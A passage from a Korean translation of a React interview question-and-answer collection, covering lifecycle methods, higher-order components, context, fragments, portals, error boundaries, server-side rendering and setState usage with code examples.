2. `Pre-commit`: 컴포넌트가 실제 변화를 DOM에 반영하기 전에, 리액트가 DOM을 `getSnapshotBeforeUpdate()` 통해서 DOM 을 읽을 수도 있다.
3. `Commit`: React는 DOM과 함께 작동하며, 각각의 라이프 사이클 마지막에 실행되는 것들이 포함된다. `componentDidMount()` `componentDidUpdate()` `componentWillUnmount()`

   16.3 이후

![react-16.3-phases](https://github.com/sudheerj/reactjs-interview-questions/raw/master/images/phases16.3.jpg)

16.3 이전

![before-react-16.3](https://github.com/sudheerj/reactjs-interview-questions/raw/master/images/phases.png)

### What are the lifecycle methods of React?

React 16.3+

- `getDerivedStateFromProps`: 모든 `render()`가 실행되기 바로 직전에 호출된다. props의 변화의 결과로 내부 state 변화를 가능하게 해주는 메서드로, 굉장히 드물게 사용된다.
- `componentDidMount`: 첫렌더링이 다 끝나고, 모든 ajax 요청이 완료, DOM이나 state 변화, 그리고 이벤트 리스너가 모두 설정된 다음에 호출된다.
- `shouldComponentUpdate`: 컴포넌트가 업데이트 될지 말지를 결정한다. default로 true를 리턴한다. 만약 state나 props 업데이트 이후에 컴포넌트가 업데이트 될 필요가 없다고 생각한다면, false를 리턴하면 된다. 컴포넌트가 새로운 props를 받은 후에, 리 렌더링을 방지해서 성능을 향상시키기에 가장 좋은 위치다.
- `getSnapshotBeforeUpdate`: 렌더 결과물이 DOM에 커밋되기 직전에 호출된다. 여기서 리턴된 모든 값은 `componentDidUpdate()`로 넘겨진다. 스크롤 포지션 등, DOM에서 필요한 정보를 사용할 때 유용하다.
- `componentDidUpdate`: prop/state의 변화d의 응답으로 DOM을 업데이트 할 때 필요하다. 이 메소드는 만약 `shouldComponentUpdate()`가 `false`를 리턴하면 호출되지 않는다.
- `componentWillUnmount`: 네트워크 요청을 취소하거나, 컴포넌트와 관련된 이벤트 리스너를 삭제할 때 쓰인다.

> before 16.3은 따로 번역하지 않겠습니다.

- `componentWillMount`: Executed before rendering and is used for App level configuration in your root component.
- `componentDidMount`: Executed after first rendering and here all AJAX requests, DOM or state updates, and set up event listeners should occur.
  componentWillReceiveProps: Executed when particular prop updates to trigger state transitions.
- `shouldComponentUpdate`: Determines if the component will be updated or not. By default it returns true. If you are sure that the component doesn't need to render after state or props are updated, you can return false value. It is a great place to improve performance as it allows you to prevent a re-render if component receives new prop.
- `componentWillUpdate`: Executed before re-rendering the component when there are props & state changes confirmed by shouldComponentUpdate() which returns true.
- `componentDidUpdate`: Mostly it is used to update the DOM in response to prop or state changes.
- `componentWillUnmount`: It will be used to cancel any outgoing network requests, or remove all event listeners associated with the component.

### What are Higher-Order Components?

Higher-order Component (이하 HOC)는 컴포넌트를 받아서 새로운 컴포넌트를 리턴하는 컴포넌트다. 기본적으로, 이러한 패턴은 리액트의 컴포넌트적인 특성에서 유래되었다.

이를 `Pure Component`라고 부르는데, 동적으로 제공되는 하위 component를 그대로 사용하지만, 입력받은 component를 수정/복사하지 않기 때문이다.

HOC는 아래와 같은 use case에서 사용할 수 있다.

- 코드 재사용, 로직 추상화
- render 하이재킹
- state 추상화 또는 조작
- props 조작

### How to create props proxy for HOC component?

`props proxy pattern`을 아래와 같이 사용한다면, 컴포넌트에 넘겨진 props를 추가/수정할 수 있다.

```javascript
function HOC(WrappedComponent) {
  return class Test extends Component {
    render() {
      const newProps = {
        title: 'New Header',
        footer: false,
        showFeatureX: false,
        showFeatureY: true,
      }

      return <WrappedComponent {...this.props} {...newProps} />
    }
  }
}
```

### What is context?

Context는 props을 탑다운으로 주지 않고도, 어느 레벨에서든 데이터를 컴포넌트 트리에 넘기는 방법이다. 예를 들어 인증받은 사용자, 언어 설정, UI theme 등 애플리케이션 단위에서 다양한 컴포넌트가 사용해야 하는 데이터를 context를 통해서 줄 수 있다.

```javascript
const {Provider, Consumer} = React.createContext(defaultValue)
```

### What is children prop?

Children은 prop (`this.prop.children`) 으로, 다른 컴포넌트에 컴포넌트를 넘길 수 있는 방법으로, 다른 prop를 사용하는 것과 동일하다. 컴포넌트 트리는 이 children을 여닫는 태그 사이에 두며, 이는 컴포넌트를 `children prop`으로 건내게 된다.

React API에서 이러한 형태로 다양한 prop을 제공하고 있다. `React.Children.map` `React.Children.forEach` `React.Children.count` `React.Children.only` `React.Children.toArray` 사용예제는 아래와 같다.

```javascript
const MyDiv = React.createClass({
  render: function () {
    return <div>{this.props.children}</div>
  },
})

ReactDOM.render(
  <MyDiv>
    <span>{'Hello'}</span>
    <span>{'World'}</span>
  </MyDiv>,
  node,
)
```

### How to write comments in React?

React/JSX의 주석은 자바스크립트의 다중 주석과 비슷하지만, `{ }`에 쌓여있다는 것이 다르다.

한 줄

```html
<div>
  {/* Single-line comments(In vanilla JavaScript, the single-line comments are
  represented by double slash(//)) */} {`Welcome ${user}, let's play React`}
</div>
```

여러 줄

```html
<div>
  {/* Multi-line comments for more than one line */} {`Welcome ${user}, let's
  play React`}
</div>
```

### What is the purpose of using super constructor with props argument?

자식 클래스 생성자는 `super()`메소드가 호출되기 전까지 `this` 레퍼런스를 쓸 수 없다. 이와 동일한것이 es6의 서브 클래스에 구현되어 있다. `super()` 메소드에 props를 파라미터로 호출하는 주요 이유는 `this.props`를 자식 생성자에서 쓰기 위해서다.

props 넘기는 경우

```javascript
class MyComponent extends React.Component {
  constructor(props) {
    super(props)

    console.log(this.props) // prints { name: 'John', age: 42 }
  }
}
```

props 안 넘기는 경우

```javascript
class MyComponent extends React.Component {
  constructor(props) {
    super()

    console.log(this.props) // prints undefined

    // but props parameter is still available
    console.log(props) // prints { name: 'John', age: 42 }
  }

  render() {
    // no difference outside constructor
    console.log(this.props) // prints { name: 'John', age: 42 }
  }
}
```

### What is reconciliation?

컴포넌트의 props나 state에 변경이 있을때, React는 이전에 렌더링 된 element와 새롭게 렌더링된 것을 비교하여 실제 DOM이 업데이트 되어야 할지를 결정한다. 똑같지 않을때, React는 DOM을 업데이트 한다. 이 과정을 `reconciliation`이라고 한다.

### How to set state with a dynamic key name?

JSX코드 내에서 es6또는 바벨 트랜스파일러를 쓰고 있다면, computed property 명을 쓸 수 있다.

```javascript
handleInputChange(event) {
  this.setState({ [event.target.id]: event.target.value })
}
```

### What would be the common mistake of function being called every time the component renders?

함수를 파라미터로 넘기는 과정에서 함수가 호출되지 않는지 확인해야 한다.

### Is lazy function supports named exports?

아니다. 현재 `React.lazy`함수는 default export만 지원한다. named exports된 모듈을 import 하고 싶을 경우에는, 사이에 디폴트로 reexports 하는 모듈을 만들수 있다. 이는 트리쉐이킹을 도와주고, 사용하지 않는 컴포넌트를 pull하지 않을 수 있다. 밑에서 예를 살펴보자.

```javascript
// MoreComponents.js
export const SomeComponent = /* ... */;
export const UnusedComponent = /* ... */;
```

이 컴포넌트 중간에 `IntermediateComponent.js`를 만들어서 다시 export 한다.

```javascript
// IntermediateComponent.js
export {SomeComponent as default} from './MoreComponents.js'
```

그리고 lazy 함수를 이용해서 아래와 같이 임포트 할 수 있다.

```javascript
import React, {lazy} from 'react'
const SomeComponent = lazy(() => import('./IntermediateComponent.js'))
```

### Why React uses `className` over `class` attribute?

`class`는 자바스크립트의 예약어 이고, JSX는 javascript를 확장해 만든 것이다. 따라서 `class`를 쓰면 충돌이 일어나기 자바스크립트 예약어와 충동리 발생하기 때문에 `className`을 사용한다. `className` prop에 `string`을 넘겨 주면 된다.

```javascript
render() {
  return <span className={'menu navigation-menu'}>{'Menu'}</span>
}
```

### What are fragments?

React에서는 하나의 컴포넌트가 여러개의 elements를 리턴하는 것이 일반적인 패턴이다. Fragments는 추가로 DOM 노드를 사용하지 않더라도 여러개의 노드들을 묶을 수 있게 해준다.

```javascript
render() {
  return (
    <React.Fragment>
      <ChildA />
      <ChildB />
      <ChildC />
    </React.Fragment>
  )
}
```

```javascript
render() {
  return (
    <>
      <ChildA />
      <ChildB />
      <ChildC />
    </>
  )
}
```

### Why fragments are better than container divs?

1. Fragment는 실제로 추가적인 DOM을 만들지 않기 때문에 더 빠르고 메모리 사용량도 적다. 이는 매우 크고 깊은 트리를 만들 때 상당한 이점으로 작용한다.
2. CSS Grid나 firefox같은 일부 특수한 CSS 메커니즘은 특별한 부모-자식 관계를 가지고 있는데, div를 중간에 추가하는 것은 원하는 레이아웃을 그리기 어렵게 한다.
3. DOM Inspector를 사용할 때 덜 혼잡스럽다.

### What are portals in React?

portals 은 상위 Component 의 DOM 계층 구조 외부에 존재하는 DOM 노드로, 자식을 render 하는데 권장되는 방법이다.

```javascript
ReactDOM.createPortal(child, container)
```

첫번째 인자는 React Child에서만 렌더링이 가능하며, 여기에는 element, string, fragment 가 포함된다. 두번째 인자는 DOM 엘리먼트다.

### What are stateless components?

컴포넌트의 동작이 state와 독립되어 있다면, 이는 stateless 컴포넌트다. 함수나 클래스를 이용해서 stateless 컴포넌트를 만들 수 있다. 하지만 컴포넌트의 라이프 사이클 훅이 필요하지 않다면, 함수형으로 가는 것이 좋다. 함수형 컴포넌트를 선택한다면 많은 이점을 가져갈 수 있다. 코드 사용 및 이해가 쉽고, 조금더 빠르며, 그리고 `this` 키워드의 충돌을 막을 수 있다.

### What are stateful components?

state의 사용에 종속적인 컴포넌트를 stateful component라고 한다. 이 컴포넌트는 항상 class 컴포넌트로 만들어 져야 하며, `constructor`를 통해서 초기화 되어야 한다.

```javascript
class App extends Component {
  constructor(props) {
    super(props)
    this.state = {count: 0}
  }

  render() {
    // ...
  }
}
```

### How to apply validation on props in React?

React가 development로 실행한다면, 자동으로 컴포넌트에 있는 props의 타입을 올바르게 체크해 준다. 만약 타입이 올바르지 않다면, React는 콘솔에 경고 메시지를 띄운다. 성능 상의 이슈를 위해 production에서는 이 기능이 꺼져 있다. 필수적인 prop은 `isRequired`다. 사용할 수 있는 prop type의 종류는 아래와 같다.

1. `PropTypes.number`
2. `PropTypes.string`
3. `PropTypes.array`
4. `PropTypes.object`
5. `PropTypes.func`
6. `PropTypes.node`
7. `PropTypes.element`
8. `PropTypes.bool`
9. `PropTypes.symbol`
10. `PropTypes.any`

아래와 같이 쓸수 있다.

```javascript
import React from 'react'
import PropTypes from 'prop-types'

class User extends React.Component {
  static propTypes = {
    name: PropTypes.string.isRequired,
    age: PropTypes.number.isRequired,
  }

  render() {
    return (
      <>
        <h1>{`Welcome, ${this.props.name}`}</h1>
        <h2>{`Age, ${this.props.age}`}</h2>
      </>
    )
  }
}
```

주의: 리액트 v15.5부터 PropType이 `React.PropTypes`에서 `prop-types`로 이동했다.

### What are the advantages of React?

1. Virtual DOM으로 애플리케이션의 성능을 향상시킬 수 있음
2. JSX를 통해 코들르 쉽게 읽고 쓸수 있음
3. 클라이언트와 서버사이드 양쪽에서 렌더링 라능
4. 뷰만 다루는 라이브러리이기 때문에, 다른 프레임워크 (Angular, Backbone) 등과 쉽게 연동 가능
5. Jest와 같은 툴로 쉽게 유닛/인티그레이션 테스트 가능

### What are the limitations of React?

1. 풀 프레임워크가 아니라, view만 다루고 있음.
2. 뉴비 웹 개발자들에게 러닝 커브가 존재
3. 전통적인 MVC 프레임워크와 인터그레이팅을 하기 위해서는 추가적인 설정이 필요
4. inline 템플릿과 JSX로 인해 코드의 복잡성 증가
5. 오버엔지니어링/보일러플레이팅을 야기하는 작은 단위의 컴포넌트가 너무 많이 존재

### What are error boundaries in React v16?

Error boundaries란 하위 component tree 에서 자바스크립트 에러 를 catch 하고, 기록하고, 에러가 발생한 component tree가 아닌 대체 UI를 표현해 주는 component를 말한다.

새롭게 추가된 라이프사이클 메서드인 `componentDidCatch(error, info)`나 `static getDerivedStateFromError()`를 사용한다면, 클래스 컴포넌트는 error boundary가 될 수 있다.

```javascript
class ErrorBoundary extends React.Component {
  constructor(props) {
    super(props)
    this.state = {hasError: false}
  }

  componentDidCatch(error, info) {
    // 에러 리포틍 서비스를 위해 로그를 기록할 수도 있고
    logErrorToMyService(error, info)
  }

  static getDerivedStateFromError(error) {
    // fallback UI를 표현하기 위해여 state를 업데이트 할 수도 있다.
    return {hasError: true}
  }

  render() {
    if (this.state.hasError) {
      // custom Fallback UI를 그릴 수 있다.
      return <h1>{'Something went wrong.'}</h1>
    }
    return this.props.children
  }
}
```

그리고 이 컴포넌트는 아래와 같이 사용할 수 있다.

```html
<ErrorBoundary>
  <MyWidget />
</ErrorBoundary>
```

### How error boundaries handled in React v15?

`unstable_handleError` 메서드를 활용한 기본적인 error boundaries만 제공하고 있다. 그리고 v16에서 `componentDidCatch`로 변경되었다.

### What are the recommended ways for static type checking?

보통 `PropTypes`를 많이 사용한다. 그러나 크기가 큰 애플리케이션의 경우에는, Flow나 타입스크립트같은, 컴파일 단계에서 타입체킹을 제공하고 자동완성을 지원해주는 정적 타입 체커를 사용하는 것이 좋다.

### What is the use of `react-dom` package?

`react-dom`은 앱 최 상단 레벨에서 사용되는, DOM을 다루는데 필요한 메서드를 제공한다. 대부분의 컴포넌트는 이 모듈을 필요로 하지 않는다. 여기에 있는 메소드를 몇가지 나열하면

1. `render()`
2. `hydrate()`
3. `unmountComponentAtNode()`
4. `findDOMNode()`
5. `createPortal()`

### What is the purpose of render method of `react-dom`?

render 메서드는 제공된 컨테이너의 DOM에 있는 React element를 render 하고 Component에 대한 참조를 반환하는데 사용된다. React element가 이전에 렌더링 되었다면 update 를 수행하고 최근의 변경사항을 반영하기 위해 필요에 따라 DOM을 변경하기도 한다.

```javascript
ReactDOM.render(element, container[, callback])
```

옵셔널 콜백이 있다면, 컴포넌트가 렌더링/업데이트 된 이후로 실행된다.

### What is ReactDOMServer?

`ReactDOMServer`는 컴포넌트를 정적 마크업으로 렌더링할 수 있게 해준다. (보통 노드 서버에서 많이 사용 된다) 이 오브젝트는 서버사이드 렌더링을 할 때 사용된다. 아래 메서드들은 서버와 브라우저 환경 모두에서 사용할 수 있다.

1. `renderToString()`
2. `renderToStaticMarkup()`

예를 들어, 노드 베이스 웹서버인 Express, Hapi, Koa 등에서 서버를 실행한다면, `renderToString`메서드를 호출하여 이에 대한 응답으로 루트 컴포넌트를 string으로 렌더링할 수 있다.

```jsx
// using Express
import {renderToString} from 'react-dom/server'
import MyPage from './MyPage'

app.get('/', (req, res) => {
  res.write('<!DOCTYPE html><html><head><title>My Page</title></head><body>')
  res.write('<div id="content">')
  res.write(renderToString(<MyPage />))
  res.write('</div></body></html>')
  res.end()
})
```

### How to use innerHTML in React?

browser DOM에서 `innerHTML`대신 `dangerouslySetInnerHTML`를 사용할 수 있다. `innerHTML`과 마찬가지로, 이 속성 또한 크로스 사이트 스크립팅 공격 (XSS)에 취약하다. `__html`을 키로 하고 HTML text를 값으로 가지는 object를 리턴하면 된다.

```javascript
function createMarkup() {
  return {__html: 'First &middot; Second'}
}

function MyComponent() {
  return <div dangerouslySetInnerHTML={createMarkup()} />
}
```

### How to use styles in React?

style 속성은 css 문자열 대신 camelCased속성이 있는 자바스크립트 오브젝트를 허용한다. 이는 DOM 스타일 자바스크립트 속성과 일치하며, 효율적이고, XSS 보안 허점을 막아준다.

### How events are different in React?

React 엘리먼트에서 이벤트를 다루는 것은 문법상 약간의 차이가 있다.

1. 리액트 이벤트 핸들러는 lowerCase가 아닌 camelCase로 써야한다.
2. JSX에서는 문자열이 아닌, 함수 이벤트 핸들러를 파라미터로 보낸다.

### What will happen if you use `setState()` in constructor?

`setState()`를 사용하면, 객체 상태가 할당되고, 자식을 포함한 모든 컴포넌트가 다시 렌더링된다. 그리고 아래와 같은 에러메시지가 나타난다. **Can only update a mounted or mounting component.** 따라서 `this.state`를 사용하여 생성자내에서 변수를 초기화 해야 한다.

### What is the impact of indexes as keys?

키는 리액트에서 엘리먼트를 추적할 수 있도록 안정적이어야 하고, 예측가능해야 하고, 유니크해야 한다.

아래 코드에서 각 엘리먼트의 키는 데이터를 따르는 것이 아니라 단순히 순서에 따라 결정된다. 이는 React가 하는 최적화를 제한한다.

```jsx
{
  todos.map((todo, index) => <Todo {...todo} key={index} />)
}
```

만약 데이터를 유니크 키로 사용한다면 위의 조건을 만족하기 때문에, React는 다시 연산할 필요 없이 재정렬할 수 있다.

```jsx
{
  todos.map((todo) => <Todo {...todo} key={todo.id} />)
}
```

### Is it good to use `setState()` in `componentWillMount()` method?

`componentWillMount()`에서 비동기 초기화를 하는 것은 피하도록 권장한다. `componentWillMount()`는 마운팅이 일어나기 직전에 바로 실행된다. 이는 `render()`함수가 불리우기 직전이며, 따라서 여기에서 state를 새로 값을 할당 한다 하더라도 리렌더링을 트리거 하지 않는다. 이 메소드 내에서는 사이드 이펙트나 subscription등은 피해야 한다. 따라서 비동기 초기화는 `componentDidMount()`에서 하는 것이 좋다.

```jsx
componentDidMount() {
  axios.get(`api/todos`)
    .then((result) => {
      this.setState({
        messages: [...result.data]
      })
    })
}
```

### What will happen if you use props in initial state?

컴포넌트의 새로고칩 없이 props가 변경된다면, 현재 상태의 컴포넌트는 절대로 업데이트 하지 않기 때문에 새로운 prop값이 화면에 표시되지 않을 것이다. props를 통한 state값의 초기화는 컴포넌트가 딱 초기화 되었을 때만 실행된다.

```jsx
class MyComponent extends React.Component {
  constructor(props) {
    super(props)

    this.state = {
      records: [],
      inputValue: this.props.inputValue,
    }
  }

  render() {
    return <div>{this.state.inputValue}</div>
  }
}
```

props를 render 함수 내에서 쓰면 값을 업데이트 한다.

```jsx
class MyComponent extends React.Component {
  constructor(props) {
    super(props)

    this.state = {
      record: [],
    }
  }

  render() {
    return <div>{this.props.inputValue}</div>
  }
}
```

### How do you conditionally render components?

때로는 어떤 상태값에 따라서 렌더링을 다르게 해야하는 경우가 발생한다. JSX는 `false`나 `undefined`는 렌더링하지 않으므로, 특정 조건에 true를 주는 형식으로 조건부 렌더링을 할 수 있다.

```jsx
const MyComponent = ({name, address}) => (
  <div>
    <h2>{name}</h2>
    {address && <p>{address}</p>}
  </div>
)
```

if-else도 삼항연산자를 활용하면 아래와 같이 할 수 있다.

```jsx
const MyComponent = ({name, address}) => (
  <div>
    <h2>{name}</h2>
    {address ? <p>{address}</p> : <p>{'Address is not available'}</p>}
  </div>
)
```

### Why we need to be careful when spreading props on DOM elements?

spread prop를 쓴다면, HTML에 알수없는 속성을 추가할 수 있는 위험이 있기 때문에 좋지 못하다. 대신 `...rest` 연산자를 쓴다면, 필요한 props만 추가해서 넣을 수 있다.

```javascript
const ComponentA = () => (
  <ComponentB isDisplay={true} className={'componentStyle'} />
)

const ComponentB = ({isDisplay, ...domProps}) => (
  <div {...domProps}>{'ComponentB'}</div>
)
```

### How you use decorators in React?

클래스 컴포넌트에 데코레이터를 쓸 수 있으며, 이는 함수에 컴포넌트를 넘기는 것과 동일하다. 데코레이터는 유연하고 읽기 쉬운 방법으로 컴포넌트를 기능적으로 수정할 수 있도록 한다.

```javascript
@setTitle('Profile')
class Profile extends React.Component {
  //....
}
const setTitle = (title) => (WrappedComponent) => {
  return class extends React.Component {
    componentDidMount() {
      document.title = title
    }

    render() {
      return <WrappedComponent {...this.props} />
    }
  }
}
```

주의: 데코레이터는 es7 문법에 포함되지 못하고 현재 stage2 단계에 있다.

### How do you memoize a component?

함수형 컴포넌트를 기반으로한 메모이제이션이 가능한 라이브러리가 있다. 예를 들어, `moize`라이브러리를 활용하면, 다른 컴포넌트 내에서 컴포넌트를 메모이제이션 할 수 있다.

```javascript
import moize from 'moize'
import Component from './components/Component' // this module exports a non-memoized component

const MemoizedFoo = moize.react(Component)

const Consumer = () => {
  ;<div>
    {'I will memoize the following entry:'}
    <MemoizedFoo />
  </div>
}
```

### How you implement Server Side Rendering or SSR?

React는 이미 노드 서버에서 렌더링을 다룰 수 있도록 지원되고 있다. 클라이언트 사이드와 동일하게 렌더링할 수 있는 특수한 버전의 DOM renderer가 제공되고 있다.

```javascript
import ReactDOMServer from 'react-dom/server'
import App from './App'

ReactDOMServer.renderToString(<App />)
```

이 메소드는 일반적인 HTML을 string으로 내보내며, 이는 서버의 응답 일부를 페이지 본문 내부에 위치시킬 수 있다. 클라이언트 사이드에서, 리액트는 미리 렌더링된 컨텐츠를 감지하고 나머지를 원활하게 렌더링할 수 있다.

### How to enable production mode in React?

Webpack의 `DefinePlugin` 메서드를 활용하여, `NODE_ENV`를 `production`으로 설정해야 propType의 유효성 검사 같은 추가적인 경고를 제거할 수 있다.

production 모드와 별도로, 주석을 제거하고 코드르 압축시키는 uglify의 dead-code 코드를 사용하여 minify하면 번들링 사이즈를 줄일 수 있다.

### What is CRA and its benefits?

CRA(`create-react-app`)는 특별한 설정없이도 빠르고 간편하게 리액트 애플리케이션을 만들수 있도록 해주는 Cli tool이다.

```text
# Installation
$ npm install -g create-react-app

# Create new project
$ create-react-app todo-app
$ cd todo-app

# Build, test and run
$ npm run build
$ npm run test
$ npm start`
```

여기에는 리액트 앱을 만드는데 필요한 모든 것이 담겨져 있다.

1. React, JSX, ES6, 문법 지원을 위한 Flow
2. spread operator와 같은 es6 문법
3. auto prefixed css를 통해, -web-kit` 과 같은 접두어를 붙이지 않아도 됨
4. 빠른 인터렉티브 유닛 테스트 러너와 함께 커버리지 리포팅
5. 일반적인 실수에 대해 경고하는 라이브 dev 서버
6. 배포를 위해 소스맵, 해쉬와 함께 제공되는 JS, CSS, 이미지 번들링 해주는 빌드 스크립트

### What is the lifecycle methods order in mounting?

컴포넌트가 생성되고, DOM에 들어가는 과정에서 아래와 같은 라이프 사이클 메서드가 순서대로 호출된다.

1. `constructor()`
2. `static getDerivedStateFromProps()`
3. `render()`
4. `componentDidMount()`

### What are the lifecycle methods going to be deprecated in React v16?

다음 lifecycle메서드는 안전하지 않은 코딩법이 될 수 있고, 비동기 렌더링시 문제가 발생할 수 있다.

1. `componentWillMount()`
2. `componentWillReceiveProps()`
3. `componentWillUpdate()`

v16.3 부터 `UNSAFE_` prefix가 붙고, v17에서는 삭제된다.

### What is the purpose of `getDerivedStateFromProps()` lifecycle method?

새로운 라이프 사이클 메서드 `getDerivedStateFromProps()`는 component가 인스턴스화 된 후, 다시 렌더링 되기전에 호출된다. object를 반환하여 state를 업데이트 하거나, null을 리턴하여 새로운 props에서 state update가 필요하지 않도록 나타낼 수도 있다.

```javascript
class MyComponent extends React.Component {
  static getDerivedStateFromProps(props, state) {
    // ...
  }
}
```

이 메서드는 `componentDidUpdate()`와 함께 쓴다면, `componentWillReceiveProps()`의 모든 유즈케이스에 적용할 수 있다.

### What is the purpose of `getSnapshotBeforeUpdate()` lifecycle method?

새로운 메서드 `getSnapshotBeforeUpdate()`는 DOM 업데이트 직전에 호출된다. 이 메서드의 반환값은 `componentDidUpdate()`의 세번째 파라미터로 전달된다.

```javascript
class MyComponent extends React.Component {
  getSnapshotBeforeUpdate(prevProps, prevState) {
    // ...
  }
}
```

이 메서드는 `componentDidUpdate()`와 함께 쓴다면, `componentWillUpdate()`의 모든 유즈케이스에 적용할 수 있다.

### Do Hooks replace render props and higher order components?

render props와 HOC 모두 한개의 자식만 렌더링 하지만, 대부분의 경우 Hooks API를 아용하면 트리에 의존성을 줄이면서 간단하게 구현할 수 있다.

### What is the recommended way for naming components?

`displayName`을 쓰는 것 보다 컴포넌트에 레퍼런스를 주는 방법이 더 좋다.

`displayName`을 쓰는 법 보다

```javascript
export default React.createClass({
  displayName: 'TodoApp',
  // ...
})
```

이렇게 하는게 더 좋다.

```javascript
export default class TodoApp extends React.Component {
  // ...
}
```

### What is the recommended ordering of methods in component class?

마운팅에서 렌더링까지 아래와 같은 순서로 나열하길 권장한다.

1. `static` 메서드
2. `constructor()`
3. `getChildContext()`
4. `componentWillMount()`
5. `componentDidMount()`
6. `componentWillReceiveProps()`
7. `shouldComponentUpdate()`
8. `componentWillUpdate()`
9. `componentDidUpdate()`
10. `componentWillUnmount()`
11. 클릭 또는 이벤트 핸들러 `onClickSubmit()` `onChangeDescription()`
12. 렌더를 위한 `getter` 메서드 `getSelectReason()` `getFooterContent()`
13. 옵셔널 렌더 메서드 `renderNavigation()` `renderProfilePicture()`
14. `render()`

### What is a switching component?

스위칭 컴포넌트란 하나 이상의 컴포넌트를 렌더링하는 컴포넌트를 의미한다. prop을 map으로 받아서 해당하는 컴포넌트를 보여주면 된다.

아래 코드 참조.

```javascript
import HomePage from './HomePage'
import AboutPage from './AboutPage'
import ServicesPage from './ServicesPage'
import ContactPage from './ContactPage'

const PAGES = {
  home: HomePage,
  about: AboutPage,
  services: ServicesPage,
  contact: ContactPage,
}

const Page = (props) => {
  const Handler = PAGES[props.page] || ContactPage

  return <Handler {...props} />
}

Page.propTypes = {
  page: PropTypes.oneOf(Object.keys(PAGES)).isRequired,
}
```

### Why we need to pass a function to setState()?

그 이유는 `setState()`가 비동기로 작동하는데에 있다. React는 성능상의 문제로 인해, state의 변경작업을 배치로 하는데, 이 때문에 `setState()`를 바로 호출한다고 해서 바로 반영되지 않는다. 이 말은, `setState()`를 호출 할 때 그 당시 `state`의 값에 의존하면 안된다는 뜻이다. 따라서 `setState()`에는 이전 값에 접근할 수 있는 함수를 사용하는 것이 좋다. 이는 사용자가 비동기로 작동하는 `setState()`의 특징으로 인해 이전 값에 접근하는 것을 방지해 준다.

초기 값이 0 이라고 가정하자. 여기 1 씩 올리는 동작을 하는 코드가 세개 있다.

```javascript
// assuming this.state.count === 0
this.setState({count: this.state.count + 1})
this.setState({count: this.state.count + 1})
this.setState({count: this.state.count + 1})
// this.state.count === 1, not 3
```

만약 `setState()`에 함수를 넘겨준다면, 올바르게 동작할 것이다.

```javascript
this.setState((prevState, props) => ({
  count: prevState.count + props.increment,
}))
// this.state